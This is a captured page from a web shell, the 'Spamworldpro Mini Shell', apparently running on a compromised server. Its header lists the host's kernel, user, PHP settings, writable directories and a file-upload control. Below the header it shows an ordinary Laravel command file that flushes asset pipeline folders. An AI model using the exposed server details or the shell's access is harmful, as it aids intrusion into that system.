Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/inventory.corals.io/vendor/stolz/assets/src/Laravel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/inventory.corals.io/vendor/stolz/assets/src/Laravel/LegacyFlushPipelineCommand.php
<?php namespace Stolz\Assets\Laravel;

use Config;
use File;
use Illuminate\Console\Command;
use Symfony\Component\Console\Input\InputOption;

class LegacyFlushPipelineCommand extends Command
{
	/**
	 * The console command name.
	 *
	 * @var string
	 */
	protected $name = 'asset:flush';

	/**
	 * The console command description.
	 *
	 * @var string
	 */
	protected $description = 'Flush assets pipeline files.';

	/**
	 * Execute the console command.
	 *
	 * @return void
	 */
	public function fire()
	{
		// Get directory paths
		$pipeDir = Config::get('assets::pipeline_dir', 'min');
		$cssDir = public_path(Config::get('assets::css_dir', 'css') . DIRECTORY_SEPARATOR . $pipeDir);
		$jsDir = public_path(Config::get('assets::js_dir', 'js') . DIRECTORY_SEPARATOR . $pipeDir);

		// Ask for confirmation
		if( ! $this->option('force'))
		{
			$this->info(sprintf('All content of %s and %s will be deleted.', $cssDir, $jsDir));
			if( ! $this->confirm('Do you wish to continue? [yes|no]'))
				return;
		}

		// Purge assets
		$purgeCss = $this->purgeDir($cssDir);
		$purgeJs = $this->purgeDir($jsDir);

		if( ! $purgeCss or ! $purgeJs)
			return $this->error('Something went wrong');

		$this->info('Done!');
	}

	/**
	 * Purge directory.
	 *
	 * @param  string $directory
	 * @return boolean
	 */
	protected function purgeDir($directory)
	{
		if( ! File::isDirectory($directory))
			return true;

		if(File::isWritable($directory))
			return File::cleanDirectory($directory);

		$this->error($directory . ' is not writable');

		return false;
	}

	/**
	 * Get the console command options.
	 *
	 * @return array
	 */
	protected function getOptions()
	{
		return array(
			array('force', 'f', InputOption::VALUE_NONE, 'Do not prompt for confirmation'),
		);
	}
}

Spamworldpro Mini